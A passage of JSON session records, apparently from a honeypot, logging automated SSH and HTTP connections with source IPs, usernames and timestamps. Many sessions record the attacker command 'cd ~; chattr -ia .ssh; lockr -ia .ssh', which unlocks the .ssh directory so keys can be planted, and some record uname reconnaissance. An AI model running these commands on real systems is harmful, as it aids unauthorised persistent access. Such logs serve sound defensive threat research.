  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 744,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:09:16.080070+00:00",
  "ended_at": "2026-08-27T12:09:17.503484+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "2e182b78-77f5-4567-8a64-7299dc4e6688",
  "name": "fleeting-whispering-eagle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 45768,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:08:52.774702+00:00",
  "ended_at": "2026-08-27T12:08:53.931073+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1b268359-8f93-4485-a69a-2492557576f9",
  "name": "thorny-nameless-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 45754,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:08:49.010148+00:00",
  "ended_at": "2026-08-27T12:08:50.747856+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2c2b0671-77e7-42ae-a6b3-cd3dcc9ff267",
  "name": "bold-hazy-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 51040,
  "username": "james",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 296,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:08:37.742133+00:00",
  "ended_at": "2026-08-27T12:08:38.736308+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "07573d42-faf8-4b04-9a52-d653d00b60bf",
  "name": "woven-bitter-onager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 51066,
  "username": "james",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:08:22.576098+00:00",
  "ended_at": "2026-08-27T12:08:23.815584+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "85b29bb1-267c-401e-9fac-c73928d46730",
  "name": "fearless-granite-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 51056,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:08:20.973562+00:00",
  "ended_at": "2026-08-27T12:08:21.995809+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1f08357d-f587-4488-bc04-95d8113c1b3f",
  "name": "solemn-languid-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 44708,
  "username": "arash",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:08:12.443806+00:00",
  "ended_at": "2026-08-27T12:08:13.652211+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2239
 },
 {
  "id": "ce01d268-cd51-42b1-b71f-61ca94ade1b8",
  "name": "gritty-hazy-nuthatch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 44712,
  "username": "arash",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:07:56.535543+00:00",
  "ended_at": "2026-08-27T12:07:57.962648+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6b264416-e89e-40e0-9fd7-51cb7c730b64",
  "name": "blithe-vigilant-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 44710,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:07:54.973683+00:00",
  "ended_at": "2026-08-27T12:07:55.880769+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "910b8f7b-fee8-4c24-b161-48ba24d1dd46",
  "name": "jovial-grassy-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59466,
  "username": "remoteuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 460,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:07:45.835551+00:00",
  "ended_at": "2026-08-27T12:07:47.126183+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "68882562-f639-4dd4-aba9-6569f76395a9",
  "name": "pristine-mindful-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 39490,
  "username": "delta",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 801,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:07:35.582553+00:00",
  "ended_at": "2026-08-27T12:07:35.869940+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "ba97293b-35e3-4029-98f9-b3d8dc862f73",
  "name": "mossy-whispering-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 39734,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:07:30.593003+00:00",
  "ended_at": "2026-08-27T12:07:31.628401+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "0d91c8b7-0592-45b8-a3bf-7bf903662d09",
  "name": "diligent-muted-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59478,
  "username": "remoteuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:07:26.912326+00:00",
  "ended_at": "2026-08-27T12:07:28.931018+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "429bacf2-1d51-4f0f-b00b-a7c6c212ce87",
  "name": "obsidian-fringed-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59474,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:07:24.876404+00:00",
  "ended_at": "2026-08-27T12:07:26.017183+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e7c2e9db-44ae-4261-8c6c-ee98f3c6371b",
  "name": "solemn-fearless-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39742,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:07:10.994762+00:00",
  "ended_at": "2026-08-27T12:07:12.173496+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a1b3a358-acda-4df7-9bb6-d4d53369c969",
  "name": "keen-pewter-waxwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39736,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:07:09.084268+00:00",
  "ended_at": "2026-08-27T12:07:10.476274+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "897bc932-7e0f-4cb1-bcd7-a13c7e8206ab",
  "name": "cobalt-jaunty-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 48700,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:06:31.484188+00:00",
  "ended_at": "2026-08-27T12:06:33.452428+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2293
 },
 {
  "id": "8a180bf0-13c3-42d5-9630-a41f97bfeb2f",
  "name": "watchful-vaulted-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 35922,
  "username": "ymoreno",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 772,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:06:17.365157+00:00",
  "ended_at": "2026-08-27T12:06:18.863737+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "014bca2a-1a53-4df7-b3a5-fe28460e7c7f",
  "name": "arctic-velvet-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 56626,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:06:17.019450+00:00",
  "ended_at": "2026-08-27T12:06:18.502373+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f7af9d41-ae20-4d7d-b26a-9e7aeb21d295",
  "name": "noble-wooded-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 56618,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:06:15.423884+00:00",
  "ended_at": "2026-08-27T12:06:16.440664+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8601141e-53d7-4fed-b4c3-ae24d34ccf98",
  "name": "jaunty-knotted-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 49574,
  "username": "yf",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:06:01.699560+00:00",
  "ended_at": "2026-08-27T12:06:02.807032+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2219
 },
 {
  "id": "56cf4207-5928-48cd-be3b-7eadc3ab7873",
  "name": "gloomy-balmy-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 35934,
  "username": "ymoreno",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:05:55.528189+00:00",
  "ended_at": "2026-08-27T12:05:56.906313+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fbcf4bdf-3f3d-44d7-839f-fc98406220c0",
  "name": "blithe-courtly-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 35930,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:05:52.680950+00:00",
  "ended_at": "2026-08-27T12:05:54.033602+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "68daff2e-5e47-4b94-a6d2-381c057365bc",
  "name": "sterling-nautical-kingfisher",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 49594,
  "username": "yf",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:05:45.699456+00:00",
  "ended_at": "2026-08-27T12:05:47.566851+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a64ae689-556a-4754-adb8-b73bafa1082a",
  "name": "whispering-lawful-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 49578,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:05:43.910341+00:00",
  "ended_at": "2026-08-27T12:05:45.045585+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f663e97f-d93e-405e-ae8b-edc39f1f03b2",
  "name": "electric-crystal-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 35516,
  "username": "filter",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:05:28.286111+00:00",
  "ended_at": "2026-08-27T12:05:29.969347+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "f6abf22e-026e-4fd0-9dd9-70138f768596",
  "name": "sterling-brave-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 35534,
  "username": "filter",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:05:04.265739+00:00",
  "ended_at": "2026-08-27T12:05:05.647529+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5879a494-a808-4915-beee-6a300e11d5fd",
  "name": "wistful-coral-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 35532,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:05:02.940516+00:00",
  "ended_at": "2026-08-27T12:05:03.745535+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e3864833-b55d-4804-a61d-cbfd17828855",
  "name": "crisp-nimble-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59430,
  "username": "cuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 465,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:04:53.129122+00:00",
  "ended_at": "2026-08-27T12:04:54.471268+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "3f2da06c-3531-4cb8-abcb-a7c9ab7caa36",
  "name": "bold-obsidian-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 57732,
  "username": "sybase",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 2056,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:04:35.309115+00:00",
  "ended_at": "2026-08-27T12:04:36.111476+00:00",
  "ended_reason": "exec complete",
  "commands": 5,
  "transcript_bytes": 474
 },
 {
  "id": "014738ec-0386-4163-843c-aa9ffe911e38",
  "name": "solemn-western-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59450,
  "username": "cuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:04:34.276367+00:00",
  "ended_at": "2026-08-27T12:04:35.287196+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fb4db1a5-3cda-4ad2-a656-675894b4b3e4",
  "name": "lawful-upland-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59438,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:04:32.455031+00:00",
  "ended_at": "2026-08-27T12:04:33.379847+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "edbe3741-fa43-44ee-afff-dd246675910e",
  "name": "idle-mossy-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 50798,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:04:22.495934+00:00",
  "ended_at": "2026-08-27T12:04:24.262453+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "8ae10f80-6137-47b5-9cd3-1224e63cb860",
  "name": "ancient-alpine-chamois",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 60244,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:04:05.985837+00:00",
  "ended_at": "2026-08-27T12:04:07.565543+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "88438354-dca9-4300-9189-aedaea73ad80",
  "name": "marbled-diligent-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 50810,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:04:04.690619+00:00",
  "ended_at": "2026-08-27T12:04:05.394822+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a1f41a3c-dbe5-46b1-8eb5-a6ad2b85ae3e",
  "name": "bashful-gallant-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 57434,
  "username": "inventory",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:04:04.569186+00:00",
  "ended_at": "2026-08-27T12:04:06.052124+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2229
 },
 {
  "id": "69d96c72-9a00-40ae-9526-ef102ad8e18c",
  "name": "frank-kindly-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 59852,
  "username": "inventory",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:03:49.672515+00:00",
  "ended_at": "2026-08-27T12:03:51.110404+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ed3d6049-1884-4c01-b7ac-bdb3fdf9b2e4",
  "name": "misty-twilight-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 57446,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:03:47.734351+00:00",
  "ended_at": "2026-08-27T12:03:49.023695+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b6205ef5-2585-4a2c-98c7-70ba375471b5",
  "name": "crisp-northern-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 53956,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:03:46.750742+00:00",
  "ended_at": "2026-08-27T12:04:08.144447+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bee65c64-e89f-48f1-85aa-d0bc1a21c78d",
  "name": "freckled-gallant-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 37618,
  "username": "newuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 260,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:03:29.469612+00:00",
  "ended_at": "2026-08-27T12:03:30.457544+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "4083ec79-1a7d-447e-bd30-17840977d2d8",
  "name": "vivid-distant-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 37634,
  "username": "newuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:03:04.464012+00:00",
  "ended_at": "2026-08-27T12:03:06.196009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4f6b69ad-0f71-4209-a73b-9586ab7760c9",
  "name": "dappled-ancient-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 54628,
  "username": "gitlab",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 732,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:03:02.988728+00:00",
  "ended_at": "2026-08-27T12:03:04.565690+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2263
 },
 {
  "id": "8bdae024-2064-4403-89f2-885d31f73d4a",
  "name": "prairie-granite-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 37626,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:03:02.698066+00:00",
  "ended_at": "2026-08-27T12:03:03.933097+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "566b4c0f-5c9b-4d59-88bb-f14dc8a43f2f",
  "name": "daring-deft-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 37936,
  "username": "gitlab",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:02:41.011216+00:00",
  "ended_at": "2026-08-27T12:02:43.033070+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "645b2e65-e978-442a-930f-aaeabc38df9f",
  "name": "russet-ancient-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 54644,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:02:37.521249+00:00",
  "ended_at": "2026-08-27T12:02:39.508135+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "37d29368-b410-46df-b009-3d085a857228",
  "name": "painted-wistful-cuckoo",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "135.148.195.16",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:02:15.574509+00:00",
  "ended_at": "2026-08-27T12:18:12.501595+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5493d2e7-4e58-45b0-a624-0fa3d82467be",
  "name": "whispering-muted-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 55178,
  "username": "ardi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:02:12.460990+00:00",
  "ended_at": "2026-08-27T12:02:14.615074+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2214
 },
 {
  "id": "ff5a7f90-82ae-445e-abcd-3a34f5b2fea4",
  "name": "arctic-vernal-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59390,
  "username": "git",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 447,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:02:07.645167+00:00",
  "ended_at": "2026-08-27T12:02:08.629014+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "2de5e951-1e3f-4cb3-860d-e3ac7a53e916",
  "name": "lunar-earnest-merlin",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "135.148.195.4",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:02:03.145069+00:00",
  "ended_at": "2026-08-27T12:17:12.496657+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
